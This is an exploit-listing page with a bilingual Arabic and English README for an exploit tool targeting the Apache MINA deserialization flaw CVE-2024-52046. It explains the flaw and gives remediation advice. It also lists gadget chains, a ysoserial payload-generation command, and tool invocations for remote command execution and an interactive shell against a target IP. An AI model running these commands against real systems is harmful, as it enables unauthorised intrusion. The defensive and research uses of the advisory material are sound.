Exploit for Deserialization of Untrusted Data in Apache Mina CVE-2024-52046

Name: Exploit for Deserialization of Untrusted Data in Apache Mina CVE-2024-52046
Rating: 5 (3 reviews)
2026-07-13 | CVSS 10.0
## https://sploitus.com/exploit?id=C480B1AD-8DC3-5384-9871-9CB716838996
# ─── CVE-2024-52046 ───








# 🏴 AMN SECURITY 🏴

### مركز أبحاث الأمن السيبراني | Cyber Security Research Center

[![Website](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/)
[![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw)
[![Email](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)

---











# ⚠️ ثغرة إلغاء التسلسل في Apache MINA تؤدي إلى تنفيذ أوامر عن بُعد
### CVE-2024-52046 | CVSS 9.8 | حرجة جداً (CRITICAL)

---

### 📋 الملخص التنفيذي

ثغرة أمنية خطيرة جداً في مكتبة **Apache MINA** (Multipurpose Infrastructure for Network Applications) تسمح لمهاجم غير مُصادق بتنفيذ أوامر عشوائية عن بُعد (RCE) عبر إرسال بيانات متسلسلة (Serialized Data) مصممة خصيصاً.

تقع الثغرة في المكون **ObjectSerializationDecoder** الذي يستخدم بروتوكول إلغاء التسلسل الأصلي في Java (Native Deserialization) لمعالجة البيانات الواردة، دون وجود فحوصات أمنية أو ضوابط كافية. هذا يسمح باستغلال سلسلة إلغاء التسلسل غير الآمنة (Unsafe Deserialization) لتنفيذ كود ضار على الخادم.

| العنصر | التفاصيل |
|--------|----------|
| **CVE** | CVE-2024-52046 |
| **CVSS v3.1** | 9.8 (Critical) |
| **المتجه** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **النوع** | Deserialization of Untrusted Data (CWE-502) |
| **المنتج** | Apache MINA |
| **المكون** | ObjectSerializationDecoder |
| **الإصدارات المتأثرة** | جميع الإصدارات قبل التصحيح |
| **التأثير** | تنفيذ أوامر عن بُعد غير مُصادَق |
| **التعقيد** | منخفض |

---

### 🔍 تفاصيل الثغرة

Apache MINA هو إطار عمل شبكي عالي الأداء لتطوير تطبيقات الشبكات في Java. يستخدم على نطاق واسع في الأنظمة الموزعة وخوادم الألعاب وتطبيقات IoT.

المكون **ObjectSerializationDecoder** مسؤول عن فك تشفير البيانات المتسلسلة الواردة عبر الشبكة. المشكلة أنه يستخدم طريقة `readObject()` في Java مباشرة دون أي تحقق من سلامة البيانات أو تصفية للفئات المسموح بها.

#### كيف تعمل هجمات إلغاء التسلسل في Java؟

```
بيانات متسلسلة واردة (بايت)
      │
      ▼
ObjectSerializationDecoder.readObject()
      │
      ▼
[لا يوجد تحقق أمني] ← الخلل هنا
      │
      ▼
إنشاء كائنات Java من البيانات
      │
      ▼
يمكن للمهاجم تضمين gadgets ضارة
      │
      ▼
تنفيذ أوامر النظام ← RCE
```

#### سلسلة الاستغلال (Gadget Chain)

```
ObjectInputStream.readObject()
      │
      ▼
HashMap.readObject()
      │
      ▼
Runtime.exec() ← عبر سلسلة gadgets
      │
      ▼
أمر النظام الهدف ← تنفيذ
```

#### الـ Gadgets الشائعة لاستغلال Java Deserialization

| المكتبة | الـ Gadget | الحالة |
|---------|-----------|--------|
| Commons Collections 3.1 | AnnotationInvocationHandler | ✅ الأكثر شيوعاً |
| Commons Collections 4.0 | TreeBag / TreeMap | ✅ متوفر |
| JRE 8u20 | HashSet / Hashtable | ✅ محدود |
| Spring Beans | MethodInvoker | ✅ متوفر |
| Groovy | MethodClosure | ✅ متوفر |
| Jackson | ObjectMapper | ✅ مع إصدارات محددة |

---

### 💥 آلية الهجوم

```
┌─────────────────┐     ┌──────────────────┐     ┌──────────────────┐
│   Attacker      │     │  Target Server   │     │  Vulnerable App  │
│   (Unauth)      │     │  (Apache MINA)   │     │  (Java Runtime)  │
└────────┬────────┘     └────────┬─────────┘     └────────┬─────────┘
         │                       │                        │
         │  1. Scan for MINA     │                        │
         │  service on network   │                        │
         ├──────────────────────►│                        │
         │                       │                        │
         │  2. Send crafted      │                        │
         │  serialized Java      │                        │
         │  object payload       │                        │
         ├──────────────────────►│                        │
         │                       │                        │
         │  3. MINA receives     │                        │
         │  & deserializes       ├────────────────────────►│
         │                       │                        │
         │                       │  4. Gadget chain       │
         │                       │  activates             │
         │                       │  ──► Runtime.exec()    │
         │                       │◄────────────────────────│
         │                       │                        │
         │  5. Command executed  │                        │
         │  on target server    │                        │
         │◄──────────────────────┤                        │
         │                       │                        │
```

---

### 🧪 استخدام الأداة

```bash
# إنشاء حمولة باستخدام ysoserial
java -jar ysoserial.jar CommonsCollections3 'id > /tmp/pwned' > payload.bin

# استغلال Apache MINA
python3 CVE-2024-52046.py -t 192.168.1.100 -p 8080 -c "id"

# فحص الخدمة
python3 CVE-2024-52046.py -t 192.168.1.100 -p 8080 --check

# استخدام gadget مختلف
python3 CVE-2024-52046.py -t 192.168.1.100 -p 8080 -c "whoami" \
    --gadget CommonsCollections6

# عبر بروكسي
python3 CVE-2024-52046.py -t 192.168.1.100 -p 8080 -c "ipconfig" \
    --proxy http://127.0.0.1:8080

# وضع تفاعلي
python3 CVE-2024-52046.py -t 192.168.1.100 -p 8080 --shell
```

#### الخيارات المتاحة

| الخيار | الوصف |
|--------|-------|
| `-t, --target` | عنوان الخادم المستهدف |
| `-p, --port` | منفذ خدمة Apache MINA |
| `-c, --command` | الأمر المراد تنفيذه |
| `--check` | فحص وجود الثغرة فقط |
| `--shell` | وضع شيل تفاعلي |
| `--gadget` | تحديد gadget chain (افتراضي: CommonsCollections3) |
| `--proxy` | بروكسي HTTP |
| `--ysoserial-path` | مسار ysoserial.jar |
| `-v, --verbose` | إظهار تفاصيل إضافية |

---

### 🛡️ الإجراءات العلاجية

| الإجراء | الأولوية | الوصف |
|---------|----------|-------|
| **تحديث Apache MINA** | 🟢 فوري | تحديث المكتبة إلى أحدث إصدار |
| **تعطيل ObjectSerializationDecoder** | 🟢 عاجل | استخدام بديل آمن أو تعطيل Serialization |
| **تفعيل Filtering** | 🟡 مهم | استخدام JEP 290 (ObjectInputFilter) |
| **استخدام Whitelist** | 🟡 مهم | تحديد الفئات المسموح بإلغاء تسلسلها فقط |
| **DMZ Network** | 🔵 مستمر | فصل الخدمات المعرضة عن الشبكة الداخلية |

#### تطبيق JEP 290 (ObjectInputFilter)

```java
// تطبيق فلتر على مستوى JVM
ObjectInputFilter filter = ObjectInputFilter.Config
    .createFilter("!com.example.*;java.base/*;!*");
ObjectInputFilter.Config.setSerialFilter(filter);

// أو على مستوى ObjectStream
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);
```

#### استخدام Whitelist آمن

```java
// بديل آمن لـ ObjectSerializationDecoder
// استخدام JSON/YAML بدلاً من Java Serialization
ObjectMapper mapper = new ObjectMapper();
MyObject obj = mapper.readValue(jsonInput, MyObject.class);
```

---

### 📊 التأثير على الأنظمة المختلفة

| نوع النظام | مستوى التأثير | الشرح |
|-----------|---------------|-------|
| خوادم الألعاب | 🔴 عالي | Apache MINA شائع في خوادم الألعاب Massive Multiplayer |
| تطبيقات IoT | 🔴 عالي | يستخدم في أنظمة إنترنت الأشياء والاتصالات منخفضة التأخير |
| الأنظمة المالية | 🔴 عالي | أنظمة التداول عالية التردد تستخدم MINA |
| تطبيقات الدردشة | 🟡 متوسط | خوادم الدردشة المباشرة |
| التطبيقات المخصصة | 🟡 متوسط | أي تطبيق Java يستخدم MINA للاتصالات الشبكية |

---

### 🔗 المراجع

- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2024-52046
- **Apache Advisory**: https://lists.apache.org/thread/CVE-2024-52046
- **CWE-502**: https://cwe.mitre.org/data/definitions/502.html
- **ysoserial**: https://github.com/frohoff/ysoserial
- **JEP 290**: https://openjdk.org/jeps/290

> ⚠️ **إخلاء مسؤولية**: هذا التقرير لأغراض تعليمية وبحثية فقط. استخدام هذه المعلومات لأغراض غير قانونية يتحمل المستخدم مسؤوليته بالكامل.

---

### 🔗 تواصل مع AMN SECURITY

[![Website](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/)
[![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw)
[![Email](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)



---







# ⚠️ CVE-2024-52046 — Apache MINA Deserialization Remote Code Execution

### CVSS 9.8 | CRITICAL | Unauthenticated Remote Code Execution

---

### Executive Summary

**CVE-2024-52046** is a critical unauthenticated Remote Code Execution vulnerability in the **Apache MINA** framework. The **ObjectSerializationDecoder** component uses Java's native deserialization protocol to process incoming serialized data without adequate security checks, allowing attackers to exploit the deserialization process by sending specially crafted malicious serialized objects.

Apache MINA is a high-performance network application framework used extensively in distributed systems, gaming servers, IoT applications, and financial trading platforms.

| Field | Value |
|-------|-------|
| **CVE** | CVE-2024-52046 |
| **CVSS v3.1** | 9.8 (Critical) |
| **Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **Type** | Deserialization of Untrusted Data (CWE-502) |
| **Product** | Apache MINA |
| **Component** | ObjectSerializationDecoder |
| **Impact** | Unauthenticated Remote Code Execution |

---

### Vulnerability Details

The `ObjectSerializationDecoder` in Apache MINA directly calls Java's `readObject()` method without validating the incoming data stream. An attacker can craft a serialized Java object containing a gadget chain that executes arbitrary system commands upon deserialization.

#### Common Gadget Chains

| Library | Gadget | Status |
|---------|--------|--------|
| Commons Collections 3.1 | AnnotationInvocationHandler | ✅ Most common |
| Commons Collections 4.0 | TreeBag / TreeMap | ✅ Available |
| JRE 8u20 | HashSet / Hashtable | ✅ Limited |
| Spring Beans | MethodInvoker | ✅ Available |
| Groovy | MethodClosure | ✅ Available |

### Tool Usage

```bash
# Generate payload with ysoserial
java -jar ysoserial.jar CommonsCollections3 'id > /tmp/pwned' > payload.bin

# Exploit Apache MINA
python3 CVE-2024-52046.py -t 192.168.1.100 -p 8080 -c "id"

# Check for vulnerability
python3 CVE-2024-52046.py -t 192.168.1.100 -p 8080 --check

# Use different gadget
python3 CVE-2024-52046.py -t 192.168.1.100 -p 8080 -c "whoami" \
    --gadget CommonsCollections6

# Interactive shell
python3 CVE-2024-52046.py -t 192.168.1.100 -p 8080 --shell
```

### Remediation

| Action | Priority | Description |
|--------|----------|-------------|
| **Update MINA** | 🔴 Immediate | Update to latest patched version |
| **Disable Decoder** | 🔴 Urgent | Switch to alternative safe decoder |
| **Enable Filtering** | 🟡 Important | Implement JEP 290 ObjectInputFilter |
| **Use Whitelist** | 🟡 Important | Allow only trusted classes |

#### JEP 290 Implementation

```java
ObjectInputFilter filter = ObjectInputFilter.Config
    .createFilter("!com.example.*;java.base/*;!*");
ObjectInputFilter.Config.setSerialFilter(filter);
```

### Impact by System Type

| System Type | Impact Level | Description |
|------------|-------------|-------------|
| Game Servers | 🔴 Critical | MINA is common in MMO game servers |
| IoT Systems | 🔴 Critical | Low-latency IoT communication |
| Financial Systems | 🔴 Critical | High-frequency trading platforms |
| Chat Applications | 🟡 Medium | Real-time messaging servers |

### References

- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2024-52046
- **CWE-502**: https://cwe.mitre.org/data/definitions/502.html
- **ysoserial**: https://github.com/frohoff/ysoserial
- **JEP 290**: https://openjdk.org/jeps/290

---

### Connect with AMN SECURITY

🌐 **Website**: https://amn.amnoffsec.workers.dev/
📸 **Instagram**: https://www.instagram.com/ixctw
📧 **Email**: ayman.mahmoudoffsec@gmail.com

---

> ⚠️ **Disclaimer**: This report is for educational and research purposes only. Unauthorized use of this information is illegal and the user bears full responsibility.